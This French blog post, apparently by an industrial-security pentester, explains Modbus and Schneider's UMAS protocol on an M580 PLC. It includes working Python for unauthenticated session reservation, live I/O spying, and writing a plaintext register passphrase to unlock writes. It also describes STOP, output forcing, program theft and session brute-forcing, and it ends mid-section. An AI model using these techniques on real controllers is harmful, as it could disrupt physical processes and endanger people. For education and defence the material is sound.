
Salut
Aujourd’hui, direction les automates industriels (les PLC, Programmable Logic Controllers) : ces grosses boîtes qui pilotent des presses, des convoyeurs, des stations d’épuration… bref, des trucs qui bougent dans la vraie vie. Et on va voir plus précisément ensemble le port 502 et ses faiblesses.
Petit contexte. Je bosse en cybersécurité industrielle et en pentest, et au taf on développe un boîtier de cybersécurité OT tout-en-un. Il me fallait une démo qui claque pour montrer, concrètement, ce qu’un attaquant peut faire à un automate industriel : quoi de mieux qu’un vrai automate qu’on arrête et qu’on pilote à distance, en live ?
Bref, l’excuse parfaite pour faire investir ma boîte dans des jouets. J’ai donc récupéré un Schneider M580 dans notre réserve, fait commander une jolie presse plieuse en « Lego » (une vraie maquette fischertechnik) et tout l’attirail autour (câble, alimentation, disjoncteur, outillage, adaptateur USB-série…), et je me suis improvisé automaticien (et electricien à nouveau) le temps d’un week-end pour lui pondre un petit programme rien que pour l’occasion. Voilà la bête en action :
La maquette en action : le cycle normal de la presse plieuse.
Une fois le jouet monté et le programme injecté et testé, j’ai voulu causer à l’automate qui le pilote, ce fameux M580. Et je me disais : Modbus (logique pour du Schneider : ce protocole de 1979 a été inventé par Modicon, le fabricant d’automates que Schneider a racheté depuis), c’est vieux et c’est simple, je vais piloter ses sorties en deux-deux, sans sourciller.
Sauf que… non. L’automate répondait bien, mais mes sorties, rien. Comme s’il était vide. Du coup, forcément, je l’ai un peu pris en grippe, et je me suis mis en tête de le hack.

Puisque je ne pouvais pas l’attaquer en Modbus directement, j’ai fait le truc bête et efficace : pendant que je bossais dessus avec le logiciel proprio de Schneider (EcoStruxure Control Expert), j’ai enregistré les communications entre le PC et l’automate, histoire de comprendre ce qu’ils se racontent et de l’imiter.
Et à partir de juste deux captures réseau (et un peu de lecture en ligne, bien que mal documenté), j’ai reconstruit le protocole propriétaire de Schneider, UMAS : démarrer/arrêter l’automate, forcer ses sorties, et même récupérer le code source du programme qui tourne dedans.
Mais avant de rentrer dans UMAS, faut poser les bases. Promis, je t’explique tout depuis le début, niveau débutant, on va y aller tranquille.
D’abord, c’est quoi Modbus ?
Modbus, c’est le protocole de l’industrie. Il date de 1979 et il est encore partout. Pourquoi ? Parce qu’il est simple. Tellement simple qu’on va le comprendre en deux minutes (et sa spec est publique et gratuite, ce qui n’a pas dû nuire à son succès).
C’est gros comment ? D’après l’étude annuelle Industrial Network Market Shares de HMS Networks (qui mesure les nouveaux nœuds réseau installés dans le monde), Modbus pèse autour de 8 % du marché en 2026, soit ~5 % en TCP et ~3 % en RTU. Et ça recule doucement chaque année, parce que l’Ethernet industriel grignote tout le terrain (environ 79 % des nouveaux nœuds, avec PROFINET et EtherNet/IP en tête). Mais 8 % des installations mondiales pour un protocole né en 1979, ça reste énorme. Bref, il est loin d’être mort.
Il y a un maître (qui pose des questions) et des esclaves (qui répondent). Le maître demande « donne-moi la valeur du capteur 3 », l’esclave répond « 42 ». Classique.
Tout tourne autour de 4 types de données :
| Table | C’est quoi | Taille | Lire / Écrire | Adresse « classique » |
|---|---|---|---|---|
| Coils | bits de sortie (une vanne, un relais) | 1 bit | 0x01 / 0x05·0x0F | 0xxxx (00001+) |
| Discrete inputs | bits d’entrée (un bouton, un capteur ToR) | 1 bit | 0x02 / lecture seule | 1xxxx (10001+) |
| Input registers | mots 16 bits en entrée (une température) | 16 bits | 0x04 / lecture seule | 3xxxx (30001+) |
| Holding registers | mots 16 bits modifiables (une consigne) | 16 bits | 0x03 / 0x06·0x10 | 4xxxx (40001+) |
Chaque table a ses codes fonction (colonne « Lire / Écrire » ci-dessus) : 0x01/0x03 pour lire des bits/des mots, 0x05/0x06 pour en écrire un seul, 0x0F/0x10 pour en écrire plusieurs d’un coup.
Le piège classique de l’adressage. La notation « 4x » est en base 1, le protocole en base 0 : le holding register
40001de la doc = adresse0sur le fil (et40002= adresse1). Ce petit décalage peut rendre fou.
Tu vois le truc : lire/écrire des cases mémoire. C’est tout. Pas de chichi.
Concrètement, « lis-moi 1 registre à l’adresse 0 » tient en quatre octets : 03 0000 0001 (fonction 3, adresse 0, quantité 1). L’auto répond 03 02 002A : fonction 3, 2 octets de données, valeur 0x2A = 42. Et voilà, t’as lu ton capteur. C’est littéralement ça, Modbus.
Et quand ça foire ? L’esclave ne se tait pas : il répond avec le function code + 0x80, suivi d’un code d’exception. Tu lis (FC 0x03) une adresse qui n’existe pas, il répond 83 02 (0x83 = 0x03 | 0x80, 0x02 = Illegal Data Address). Les classiques : 01 fonction inconnue, 02 mauvaise adresse, 03 valeur interdite, 04 l’esclave a planté. Astuce de scan, tout ce qui ne renvoie pas d’exception… existe.
Et pour savoir à qui tu parles ? Deux fonctions d’identité côté esclave : 0x11 (Report Slave ID, à l’ancienne, renvoie un petit blob « modèle + état RUN/STOP »), et surtout 0x2B/0x0E (Read Device Identification, la version moderne : vendeur, produit, version, en clair).
⚠️ À noter : Modbus n’a “aucune” authentification. Aucune. Si tu peux parler au protocole, tu peux tout lire et tout écrire. Le protocole a été conçu dans un monde où « le réseau est physiquement isolé donc on s’en fout ». Sauf qu’aujourd’hui… bah le réseau est plus trop isolé 🙃.
Modbus RTU : la version « câble »
À la base, Modbus parle sur du série. C’est la version RTU, le nom du mode de transmission binaire de Modbus sur série (par opposition au mode « ASCII », plus verbeux et quasi disparu). Rien à voir avec les Remote Terminal Units du monde SCADA : c’est juste un homonyme malheureux. En gros, un câble, un ou plusieurs automates dessus, et une trame toute bête :
[ Adresse esclave ] [ Function code ] [ Données ] [ CRC ]
1 octet 1 octet n 2 octets
L’adresse dit à qui tu parles (0 = broadcast à tout le monde, 1 à 247 = un esclave précis), le function code dit quoi faire, les données… bah les données, et le CRC c’est juste pour vérifier que rien n’a été corrompu sur le câble.
Le câble, justement : RS-232, RS-422, RS-485
Ce « série », concrètement, c’est l’un de ces trois standards électriques. Ils font tous circuler des octets sur des fils, mais pas de la même façon :
| Standard | Topologie | Duplex | Nœuds | Distance | Signal |
|---|---|---|---|---|---|
| RS-232 | point-à-point | full-duplex | 2 | ~15 m | asymétrique (référencé à la masse) |
| RS-422 | 1 émetteur -> N récepteurs (point-à-multipoint) | full-duplex | 1 + 10 | ~1200 m | différentiel |
| RS-485 | bus multidrop | half ou full-duplex | 32 | ~1200 m | différentiel |
Le RS-232 est le plus vieux et le plus simple, une liaison directe entre deux appareils seulement, sur quelques mètres, avec un signal fragile parce que mesuré par rapport à une masse commune. Le RS-422 et le RS-485 passent à un signal différentiel (l’info est portée par l’écart entre deux fils), bien plus résistant au bruit électrique d’une usine, et tiennent ~1200 m. Le RS-485 va plus loin : c’est un vrai bus où plusieurs dizaines d’équipements se partagent la même paire de fils, ce qui en fait le support préféré de Modbus RTU. Le RS-422, lui, garde un seul émetteur qui diffuse vers plusieurs récepteurs (point-à-multipoint, sens unique) : personne d’autre ne parle sur la ligne, donc pas d’arbitrage. C’est toute la différence avec le bus du RS-485, où plusieurs équipements se partagent le fil et causent chacun leur tour. D’où un RS-422 plus rare dans ce contexte.
Les trois se croisent souvent sur le même connecteur DB9. Même boîtier ne veut pas dire compatible pour autant : le brochage change, et les niveaux électriques sont incompatibles. Brancher du RS-232 sur du RS-485 via le même DB9 ne marchera pas, et peut même griller le port.


Le bus RS-485, donc : une paire de fils torsadés où tout le monde est branché en parallèle (multidrop), en half-duplex, on cause chacun son tour sur le même fil. Un seul maître pose les questions, les esclaves répondent quand on les appelle. L’adressage monte à 247 esclaves, mais l’électrique du RS-485 en tient 32 sur le bus (maître compris) sans répéteur. Le maître interroge l’esclave 3, l’esclave 3 répond, les autres se taisent. Aux deux bouts du câble, une résistance de terminaison (150 Ω côté Modbus, 120 Ω en RS-485 générique) pour tuer les échos.
Comment on sait où finit une trame ? Surprise : y’a pas de champ « longueur » en RTU. Le délimiteur, c’est le silence sur le fil : 3,5 caractères de blanc = « trame finie, la suivante commence » (au-dessus de 19200 bauds c’est figé à ~1,75 ms). Un trou de plus d’1,5 caractère au milieu d’une trame, et elle est jetée. Vieux, mais robuste. (Petit aparté : une liaison série se règle avec trois réglages, qu’on note d’un bloc, genre 8E1 = 8 bits de données, parité paire (Even), 1 bit de stop. La parité, c’est un bit de contrôle ajouté après les données : en parité paire, il vaut 0 ou 1 pour que le nombre total de bits à 1 reste pair, ce qui permet de repérer un bit qui aurait basculé en route. Exemple : l’octet A = 01000001 a deux bits à 1 (déjà pair) -> bit de parité 0 ; l’octet C = 01000011 en a trois (impair) -> bit de parité 1. En 8N1, ce bit n’existe pas du tout. La norme Modbus impose 8E1, mais en pratique presque tout le monde configure 8N1 (N = sans parité), techniquement hors-spec, et ça marche quand même. L’OT, c’est ça aussi.)
Tu veux fabriquer la trame toi-même ? Le seul truc un peu « technique », c’est le CRC, et ça tient en 6 lignes :
def crc16(t): # CRC-16/Modbus
c = 0xFFFF
for b in t:
c ^= b
for _ in range(8):
c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
return c.to_bytes(2, "little")
trame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x01]) # esclave 1 : lire 1 registre @0
print((trame + crc16(trame)).hex()) # -> 010300000001840a
Et pour viser l’esclave 3 au lieu du 1 ? Tu changes juste le premier octet (le CRC se recalcule tout seul) :
trame = bytes([0x03, 0x03, 0x00, 0x00, 0x00, 0x01]) # esclave 3, FC03, @0, 1 registre
print((trame + crc16(trame)).hex()) # -> 03030000000185e8
Ça, c’est pour comprendre. En vrai tu ne recodes pas le CRC à la main : un outil tout fait comme mbpoll (ou la lib Python minimalmodbus) s’en charge.
# lire 1 holding register (esclave 1, adresse 0) sur le bus série
mbpoll -m rtu -a 1 -t 4 -r 1 -c 1 -b 9600 /dev/ttyUSB0
Décortiquée :
-m rtu: mode série (sans ça, mbpoll partirait en TCP, son défaut).-a 1: l’esclave visé (adresse 1).-t 4: le type de donnée, ici holding register (la table 4x, lue par la fonction0x03).-r 1: l’adresse de départ. Attention, mbpoll compte en base 1, donc-r 1correspond à l’adresse0sur le fil.-c 1: combien de valeurs on lit (une seule).-b 9600: le débit du bus, en bauds./dev/ttyUSB0: le port série (typiquement ton adaptateur USB-RS485).
Petit clin d’œil au 8E1 de tout à l’heure : par défaut mbpoll est en parité paire ; si ton device est en 8N1, ajoute -P none.
Pas d’IP, pas de port, pas de TCP. Juste des octets sur un câble. Rustique, mais ça tourne encore partout. Et si besoin de t’y connecter avec ton PC, il te faut juste l’adaptateur USB-série correspondant au port que tu vises (USB-RS485 pour du Modbus RTU classique).

Modbus TCP : le même, mais sur le réseau
Un jour on a voulu faire passer Modbus sur Ethernet / TCP-IP (le réseau classique, pas le protocole EtherNet/IP d’Allen-Bradley, qui est un truc complètement différent ; le nommage industriel est un cauchemar 🙃). Du coup on garde le cœur (function code + données), on jette l’enrobage série devenu inutile (l’adresse esclave et le CRC, vu que l’intégrité est déjà gérée en dessous : le CRC-32 d’Ethernet, et accessoirement le checksum TCP), et on colle un petit en-tête devant : le MBAP.
Ça donne ça, sur le port 502 :
| MBAP (7 octets) | Function code | Données |
MBAP = [ Transaction ID ][ Protocol ID = 0 ][ Length ][ Unit ID ]
2 octets 2 octets 2 oct. 1 octet
- Transaction ID : un compteur pour matcher question/réponse.
- Protocol ID : toujours 0.
- Length : combien d’octets suivent.
- Unit ID : pour viser une unité précise (un esclave série derrière une passerelle, ou une sous-unité d’un équipement). On y revient juste après.
Et c’est tout. Tu te connectes en TCP sur le 502, tu balances tes function codes, et l’automate obéit. Toujours pas d’authentification. Tu sens venir le truc.
« Et le Modbus sécurisé, alors ? » Il existe : c’est le Modbus/TCP Security (Modbus Organization, 2018). Du TLS par-dessus Modbus, sur le port 802 au lieu du 502, avec certificats X.509 des deux côtés et même une autorisation par rôle (le rôle est planqué dans une extension du certificat). Sur le papier, c’est propre, et c’est clairement la bonne direction. Le vrai frein, c’est l’adoption : encore peu déployé sur le terrain (parc existant, rétrocompatibilité), mais c’est exactement vers ça qu’il faut pousser.

Deux subtilités qui servent. Le Unit ID (l’héritier direct de l’adresse esclave du RTU) a l’air redondant pour un automate adressé directement, puisque l’IP identifie déjà la machine. La spec officielle recommande d’ailleurs d’y mettre 0xFF (255) comme valeur « non-significative », la valeur 0x00 étant aussi acceptée pour l’adressage direct. Dans mes captures du M580, tout part en Unit ID 0 : Control Expert cause directement au CPU, sans passerelle ni esclave série derrière.
Mais « redondant » ne veut pas dire « inutile ». C’est un champ de routage : une même IP peut très bien exposer plusieurs unités qu’on distingue par leur Unit ID, sans forcément de série au bout. Deux cas classiques, une passerelle TCP vers un bus série (là le Unit ID reprend son rôle d’adresse d’esclave 1 à 247), ou un équipement multi-CPU / à fond de panier qui route la requête vers le bon rack. C’est pour ça qu’on peut parfaitement dialoguer avec des « esclaves » différents sur une seule IP. Côté conventions, rien d’ésotérique : les valeurs 1 à 247 sont de simples adresses, et les seules réservées sont 0 (broadcast) et la plage 248-255, mais uniquement dans le monde série. En TCP natif, 0 n’est pas un broadcast, juste de l’adressage direct.
Quant au Transaction ID, il te laisse envoyer plusieurs requêtes sans attendre les réponses : chacune recopie l’ID de sa question, tu réassocies. Retiens ce détail, parce qu’en UMAS ce compteur est côté client et survit même à une reconnexion TCP (on y reviendra).
Lire un registre sur un vrai automate, du coup, c’est 3 lignes :
import socket
s = socket.create_connection(("10.1.2.60", 502))
s.send(bytes.fromhex("000100000006000300000001")) # MBAP + FC03 : lire 1 registre @0
print(s.recv(256).hex()) # le MBAP de la réponse + la valeur
Décortiquons ces octets, 0001 0000 0006 00 03 0000 0001 :
0001: Transaction ID (le compteur qui apparie question et réponse).0000: Protocol ID (toujours 0 en Modbus).0006: Length, le nombre d’octets qui suivent.00: Unit ID (0 = on parle directement au CPU).03: la fonction, lire des holding registers.0000: l’adresse de départ (registre 0).0001: la quantité (1 registre).
En vrai tu ne comptes pas les octets à la main : pymodbus fait pareil en plus lisible :
from pymodbus.client import ModbusTcpClient # pip install pymodbus
c = ModbusTcpClient("10.1.2.60")
print(c.read_holding_registers(0, count=1).registers) # lire 1 holding reg @0
Et si tu veux la version « une ligne de terminal », c’est exactement le même mbpoll qu’en série, juste basculé en mode TCP :
# lire 1 holding register @0 sur l'automate, en TCP (port 502)
mbpoll -m tcp -a 1 -t 4 -r 1 -c 1 -1 10.1.2.60 # -1 = une seule lecture (pas de polling en boucle)
Le cadenas maison : quand l’auth est bricolée dans le programme
Puisque Modbus n’a aucune authentification native, on tombe parfois sur une parade artisanale, et j’en ai déjà croisé une en vrai dans un lab OT: l’ingénieur code un verrou directement dans la logique du PLC. Le programme n’autorise les commandes que si un certain bloc de registres contient la bonne « passphrase ». Tu veux piloter le procédé ? Écris d’abord le mot de passe (souvent un texte ASCII, un caractère par registre) dans les registres dédiés, et alors seulement la logique déverrouille les écritures. Dans mon cas, tant que la passphrase n’était pas posée dans le bon bloc de registres, le moindre changement de consigne était ignoré.
Ça ressemble à ça, en Modbus pur (aucun UMAS là-dedans) :
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.1.2.60"); c.connect()
mdp = "UNLOCK-1234"
vals = [ord(ch) for ch in mdp] # -> [85, 78, 76, 79, 67, 75, 45, 49, 50, 51, 52]
c.write_registers(2000, vals) # FC16 : écrit la liste EN SÉRIE à partir de 2000
# reg 2000 = 85 ('U'), 2001 = 78 ('N'), 2002 = 76 ('L')...
# le programme voit la bonne passphrase dans le bloc, et débloque les écritures :
c.write_register(1034, 42) # une consigne de procédé, désormais acceptée
Deux points qui coincent souvent là-dessus. Un : ord(ch) te donne le code numérique du caractère, et décimal ou hexa c’est la même valeur (ord('U') = 85 = 0x55) ; pymodbus attend un entier, donc pas besoin de « convertir en hexa », 85 et 0x55 écrivent le même octet. Deux : write_registers(2000, [...]) (fonction 0x10, Write Multiple Registers) écrit la liste en série à partir de l’adresse donnée : 1er élément dans le registre 2000, 2e dans 2001, 3e dans 2002, etc. Chaque registre faisant 16 bits, un caractère (1 octet) laisse l’octet de poids fort à zéro (reg 2000 = 0x0055).
Certains équipements réels le font (ils exposent un « registre mot de passe » et un « registre d’état d’accès »), et ça se rejoue souvent via la fonction 0x17 (Read/Write Multiple Registers), qui lit et écrit dans la même transaction. Mais soyons clairs, c’est de la sécurité par obscurité : le mot de passe circule en clair, donc un sniff + rejeu suffit, et à défaut on écrit juste les bonnes valeurs. Le lab corsait le truc en éparpillant la passphrase sur des registres non contigus (la version « aléatoire ») : plus de bloc à lire ou à rejouer d’un coup, il faut d’abord retrouver quel registre porte quel caractère.
Lire une valeur : le piège de l’endianness
Que tu sois en RTU ou en TCP, lire un registre c’est pareil : seul l’emballage change (le CRC d’un côté, le MBAP de l’autre). Là où les gens galèrent, c’est pour décoder la valeur qui revient.
Un registre = 16 bits, big-endian (octet de poids fort d’abord). La réponse … 00 2A se lit donc directement 0x002A = 42. Jusque-là, tranquille.
Le souci arrive avec les valeurs 32 bits (un float, un compteur long) : elles tiennent sur 2 registres, et l’ordre des deux mots n’est pas standardisé. Chaque constructeur fait un peu ce qu’il veut. Un même float 3.14 (= 0x4048F5C3 en IEEE-754) peut donc débarquer sous 4 formes :
| Ordre | Registres (hex) | Lus en décimal | Petit nom |
|---|---|---|---|
| mot fort d’abord | 4048 F5C3 | 16456 62915 | ABCD (big-endian) |
| mots inversés | F5C3 4048 | 62915 16456 | CDAB (word-swap) |
| octets inversés | 4840 C3F5 | 18496 50165 | BADC (byte-swap) |
| tout inversé | C3F5 4840 | 50165 18496 | DCBA (little-endian) |
Même valeur, 4 représentations. Si t’attends 3.14 et que tu lis -4.9e+32, t’as juste pris le mauvais ordre. Le réflexe : un convertisseur Modbus en ligne, tu colles tes 2 registres et tu testes les 4 ordres jusqu’à tomber sur une valeur qui a un sens physique. En Python, struct fait pareil :
import struct
def lire_float(r1, r2, swap=False): # r1, r2 = les 2 registres lus
if swap: r1, r2 = r2, r1 # certains devices inversent les mots (CDAB)
return struct.unpack(">f", struct.pack(">HH", r1, r2))[0]
print(lire_float(0x4048, 0xF5C3)) # -> 3.14 (ordre ABCD)
print(lire_float(0xF5C3, 0x4048, swap=True)) # -> 3.14 (device en CDAB, on remet d'aplomb)
Une valeur Modbus, tu ne la « lis » jamais vraiment tant que tu n’as pas confirmé son type (16/32 bits, signé ? float ?) et son ordre d’octets. La doc du device est ton amie. Garde ça en tête si tu fais le prolab Alchemy de HackTheBox :ptsd:
Le twist : en Modbus « pur », l’automate a l’air presque vide
Petite subtilité qui change tout. Sur un automate Schneider moderne (M340, M580, en gros depuis l’ère Unity Pro / Control Expert, milieu des années 2000), les entrées/sorties physiques ne sont PAS exposées directement en Modbus.
Pourquoi ? Parce que ces automates utilisent un adressage topologique, calé sur la position physique du matériel. Et il en existe plusieurs formes : la forme courte pour une E/S du rack local, %I0.1.2 (rack 0, module 1, voie 2), et une forme longue pour les E/S déportées, qui préfixe le chemin bus/station, %I\b.e\r.m.c (bus, équipement déporté, rack, module, voie). Ajoute à ça les objets de diagnostic implicites (%I4.2.MOD.ERR, %I4.2.3.ERR) et la vue « objet » IODDT (%CH...) : plein de façons de désigner la même voie, et pas une seule qui soit une « case Modbus » classique. C’est justement la forme longue des E/S déportées qui m’a fait un peu galérer.
Pour qu’une E/S soit lisible en Modbus standard (0x01, 0x03…), l’ingénieur doit explicitement la recopier dans une variable mappée (%M, %MW), la seule zone que le serveur Modbus du M340/M580 expose. Tant qu’il ne l’a pas fait, un scan Modbus « bête » sur le port 502 te renvoie… presque rien. Sur les vieux Quantum de l’ère Concept, c’était même l’inverse : la « State RAM » historique était la table Modbus, et les E/S y étaient mappées d’office sur des adresses fixes. Bref, un point sur lequel j’ai un peu galéré pour mes scénarios d’attaque, quand j’ai commencé mon alchimie d’apprenti automaticien.
Du coup on entend parfois « le Modbus c’est sécurisé par défaut, il n’expose rien ». Et c’est vrai… au sens strict des function codes Modbus. Sauf que ce n’est pas une vraie barrière de sécurité :
Le vrai point. Modbus est un standard ouvert (tout le monde connaît ses function codes), mais sur un M580 il ne montre que ce qu’on a bien voulu mapper. UMAS, lui, est propriétaire (encapsulé dans
0x5A) mais tourne sur le même port 502. Et il lit l’image des E/S, les variables et la mémoire en direct, mapping ou pas, sans authentification. L’open source a l’air vide ; c’est le protocole fermé qui détient les clés. La vraie surface d’attaque, c’est UMAS.
À quoi ça ressemble en vrai ? Un mbpoll (ou un nmap --script modbus-discover) qui lit les registres standards de mon M580 ne renvoie rien d’exploitable (rien n’est mappé). La même cible, en UMAS (fonction 0x70, qu’on détaille juste après), me rend l’état live des 8 sorties du module, mapping ou pas.
Même IP, même port 502. L’un voit une boîte vide, l’autre voit tout.
Autrement dit, l’attaquant qui ne regarde « que le Modbus » voit une boîte presque muette et se dit « bof, rien à gratter ». Celui qui parle UMAS lit tout, force tout, et repart avec le programme. Bon. On y va.

Et là débarque UMAS
Lire/écrire des registres, c’est mignon, mais quand un ingénieur programme un automate Schneider avec son logiciel (EcoStruxure Control Expert), il fait des trucs beaucoup plus balèzes : il télécharge un programme, il met l’auto en RUN/STOP, il force des sorties, il affiche les variables en live…
Tout ça ne tient pas dans les fonctions Modbus classiques. Alors Schneider ont encapsulé leur propre protocole propriétaire à l’intérieur de Modbus, sous un seul function code réservé : 0x5A (90).

Ce protocole propriétaire, c’est UMAS (Unified Messaging Application Services). Officiellement non documenté, mais bien décortiqué par la communauté (Kaspersky, dissecteurs Wireshark…) depuis quelques années ; mon analyse recoupe la leur. Et c’est lui qu’on va éplucher.
La trame UMAS, c’est juste Modbus TCP, et après le 0x5A :
| MBAP | 0x5A | session (1o) | fonction UMAS (1o) | données |
- session : un octet « clé de session » (on y revient, c’est le cœur du problème).
- fonction UMAS : le vrai code d’opération (genre
0x40= RUN,0x41= STOP,0x71= forcer une sortie…).
Dans mes deux captures, 100 % du trafic applicatif passe par 0x5A. UMAS est le payload de cette fonction Modbus. J’y ai retrouvé une vingtaine de fonctions UMAS distinctes, mais le protocole en compte bien plus. Je ne suis d’ailleurs pas parti de zéro : la communauté a déjà bien décortiqué UMAS, par exemple sur le blog lirasenlared. J’ai recoupé sa table avec mes captures : sur les fonctions que j’ai réellement vues passer (réservation, monitoring, forçage, transfert), les octets collent. Voici l’inventaire, les plus juteuses côté attaquant en gras.
| Code | Ce que ça fait |
|---|---|
0x01 | init d’une communication UMAS |
0x02 | lire l’identité du CPU (« BME P58 2040 », un M580) |
0x03 | lire les infos du projet |
0x04 / 0x06 | infos internes du PLC / infos de la carte SD |
0x10 | réserver l’automate (le préalable à toute écriture) |
0x11 / 0x12 | libérer la réservation / keep-alive |
0x20 | lire un bloc mémoire (dont le hash du mot de passe, voir plus bas) |
0x21 | écrire un bloc mémoire |
0x22 / 0x23 | lire / écrire des variables (bits et mots système, variables) |
0x24 / 0x25 | lire / écrire coils et registres |
0x26 | dictionnaire de données (la table des symboles) |
0x28 / 0x29 | lire / écrire à une adresse physique |
0x30-0x32 | transfert de programme, sens PC vers automate |
0x33-0x35 | transfert de programme, sens automate vers PC (le vol de code) |
0x36 | sauvegarde/restauration sur carte SD |
0x39 | lecture des données maître Ethernet |
0x40 / 0x41 / 0x42 | RUN / STOP / INIT |
0x50 | monitoring des variables en live |
0x52 | lire les bits forcés |
0x58 | statut de connexion et diagnostic |
0x60-0x66 | debug : points d’arrêt, pas à pas, pile d’appels |
0x6E | échange de nonces d’authentification (au cœur du contournement d’auth) |
0x70 | lire l’image des E/S (sans réservation) |
0x71 | forcer une sortie (à 0, à 1, déforcer, reset) |
0x72 / 0x73 | infos du rack / statut d’un module |
0xFE / 0xFD | réponse OK / réponse d’erreur du PLC |
Le « sans mot de passe », sérieux ?
Sérieux. Précisons quand même tout de suite : ce que je décris ici, c’est le cas où aucun mot de passe applicatif n’a été configuré sur l’automate. Et c’est malheureusement trop fréquent sur le terrain : le mot de passe applicatif est désactivé par défaut, et il le reste souvent. Le cas où quelqu’un a pris la peine d’en poser un (correctement), on le garde pour plus bas ; ça devient nettement plus intéressant.
La seule poignée de main pour prendre la main sur l’automate, c’est la réservation (0x10). Le client envoie… juste le nom de son PC. Et l’auto répond avec un identifiant de session sur 1 octet.
PC -> PLC : 5A 00 10 845C0000 0F "BOOK-1O96RBKNNR" (je réserve, voici mon nom)
PLC -> PC : 5A 00 FE 19 (ok, ta session = 0x19)

Il existe d’ailleurs des dissecteurs Wireshark pour UMAS maintenant, je t’invite à jeter un œil à celui de biero et à celui de zaltzman.
C’est. Tout. Pas de mot de passe, pas de challenge, pas de crypto. Rien. Tu donnes un nom (n’importe lequel), tu reçois 0x19, et ensuite il te suffit de recoller cet octet dans chaque trame pour faire ce que tu veux : STOP, forçage, reprogrammation…
En vrai, parler à un M580 ça tient en 12 lignes de Python pur. Réserver (= balancer un nom bidon), récupérer la session, lire l’identité du CPU :
import socket
s = socket.create_connection(("10.1.2.60", 502)); tid = 1
def umas(session, func, data=b""):
global tid
pdu = bytes([0x5A, session, func]) + data
s.send(tid.to_bytes(2,"big") + b"\x00\x00" + (len(pdu)+1).to_bytes(2,"big") + b"\x00" + pdu)
tid += 1; r = s.recv(512); return r[8], r[9], r[10:] # session, statut, données
_, _, d = umas(0x00, 0x10, bytes.fromhex("845c0000") + b"\x05HELLO") # réserver (nom bidon)
sess = d[-1] # la session qu'on nous attribue
print("session =", hex(sess)) # -> 0x19
print("identité :", umas(0x00, 0x02)[2]) # lire le CPU
Lecture seule, rien de cassé. Pour le STOP et le forçage c’est le même principe (un octet de fonction qui change).
⚠️ En clair : quiconque atteint le port
502peut réserver l’automate et le piloter, du moins dans ce cas-là où il n’y a pas d’authentification. La « réservation » n’est pas une sécurité, c’est juste un verrou pour éviter que deux ingénieurs écrivent en même temps. Le nom du PC ? Jamais vérifié. C’est une étiquette, pas un identifiant.
Pire, dans mes captures, la session survit à la reconnexion TCP. Tu coupes, tu reviens, et tu reprends ta session sans re-réserver. L’octet de session, c’est 256 valeurs possibles, en clair, devinables. Deux CVE collent pile à ça : CVE-2022-45789 (détournement/rejeu d’une session UMAS) pour la reprise de session, et CVE-2018-7842 (brute-force de la réservation) pour l’entropie ridicule d’un seul octet.
Petit tell au passage : mes sessions valent
0x19et0xBE, donc des valeurs aléatoires, pas le0x01fixe des vieux firmwares. Ça date l’engin, parce que la clé n’est tirée au hasard qu’à partir du firmware M340 ≥ 2.7 (seuil relevé par Kaspersky ; avant, c’était toujours0x01, encore plus trivial). Mais aléatoire ou pas, 1 octet ça fait 256 valeurs, et ça se brute-force en une poignée de secondes.

Attention quand même à ne pas surinterpréter : cette trivialité vaut tant que personne n’a activé le mot de passe applicatif. Là où il l’est, et sur un firmware à jour, rejouer l’octet de session ne suffit plus (l’écriture réclame alors un secret d’authentification, on y vient).
D’abord on regarde : lire une entrée, lire une sortie
Session ou pas, le premier réflexe c’est pas de tout casser, c’est de regarder. Et le plus fou : lire l’image des E/S ne demande même pas de réserver. Ça passe en session 0x00, non authentifiée. La réservation, c’est pour écrire. Lire, c’est cadeau.
La fonction qui fait ça, c’est 0x70 (READ_IO_OBJECT). Tu lui donnes un banc (0x01 = image des entrées %I, 0x02 = image des sorties %Q), un offset et un nombre de voies, et elle te rend 3 octets par voie. Le troisième, c’est un octet d’état qui dit tout :
| bit | masque | ce que ça veut dire |
|---|---|---|
| bit0 | 0x01 | valeur dans l’image (ce que voit le programme) |
| bit1 | 0x02 | valeur réelle live (sur la borne physique) |
| bit2 | 0x04 | forcé |
| bit3 | 0x08 | repli (posé au passage en STOP) |
| bit6 | 0x40 | voie valide / présente |
Espionner un bouton (une entrée)
Les 8 entrées de mon module BMX DDM 16025 sont à l’offset 0x00. Quelques lignes de Python pur (le helper umas() du début) rejouent la lecture en boucle pendant que quelqu’un appuie sur les boutons, le tout en session 0x00, sans même réserver :
import time
def io_pane(typ, offset, count): # construit une requête READ_IO_OBJECT (0x70)
return (bytes.fromhex("0400000003000120") + bytes([typ, count, 0])
+ offset.to_bytes(2, "little") + b"\x00\x00\x00\x00")
print("Appuie sur les boutons de la maquette... (Ctrl+C pour arrêter)")
while True:
# type 0x01 = image des ENTRÉES %I, 8 voies à partir de l'offset 0x00
_, _, d = umas(0x00, 0x70, io_pane(0x01, 0x00, 8)) # session 0x00 : lecture, pas de résa
etats = [d[6 + 3*i + 2] for i in range(8)] # l'octet d'état de chacune des 8 voies
print(" ".join(
f"E{i}:{'APPUYÉ ' if (e & 0x03) == 0x03 else 'relâché'}" # 0x43 = 0x40|0x02|0x01 : doigt sur le bouton
for i, e in enumerate(etats)), end="\r")
time.sleep(0.1)
Regarder une LED (une sortie)
Même fonction, même helper io_pane(), mais type 0x02 (les sorties %Q) et l’offset des sorties (0x10 sur ce module) :
_, _, d = umas(0x00, 0x70, io_pane(0x02, 0x10, 8)) # image des SORTIES, 8 voies @0x10
print([hex(d[6 + 3*i + 2]) for i in range(8)]) # une sortie à 1 = 0x03 (valeur + live)
Une sortie normale à 1 se lit 0x03 (valeur + live). Retiens ce banc, c’est lui qui va nous servir de preuve juste après : une sortie forcée à 1 va passer à 0x07.
Pourquoi
0x01et0x02? Ce sont les images%Iet%Q, les adresses internes0x45et0x48que j’ai retrouvées dans le diagnostic du rack. Le module déclare lui-même sesT_DIS_INsur 8 voies à partir de la voie 0, et sesT_DIS_OUTsur 8 voies à partir de la 16. Tout se recoupe à l’octet près.
Lire une variable, pas juste une E/S (0x50)
L’image E/S (0x70), c’est bien pour les entrées/sorties physiques. Mais pour lire n’importe quelle variable du programme (un mot interne, un compteur, une consigne), il y a 0x50 (MONITOR_VARIABLES). C’est le mécanisme derrière la table d’animation de Control Expert, celle qui affiche les valeurs en direct pendant que tu bosses. Tu demandes une adresse et une taille, l’auto te rend la valeur, en live. Même helper, avec un descripteur 09 (lecture par adresse), mais cette fois avec ta session réservée (sess), et non plus 0x00 :
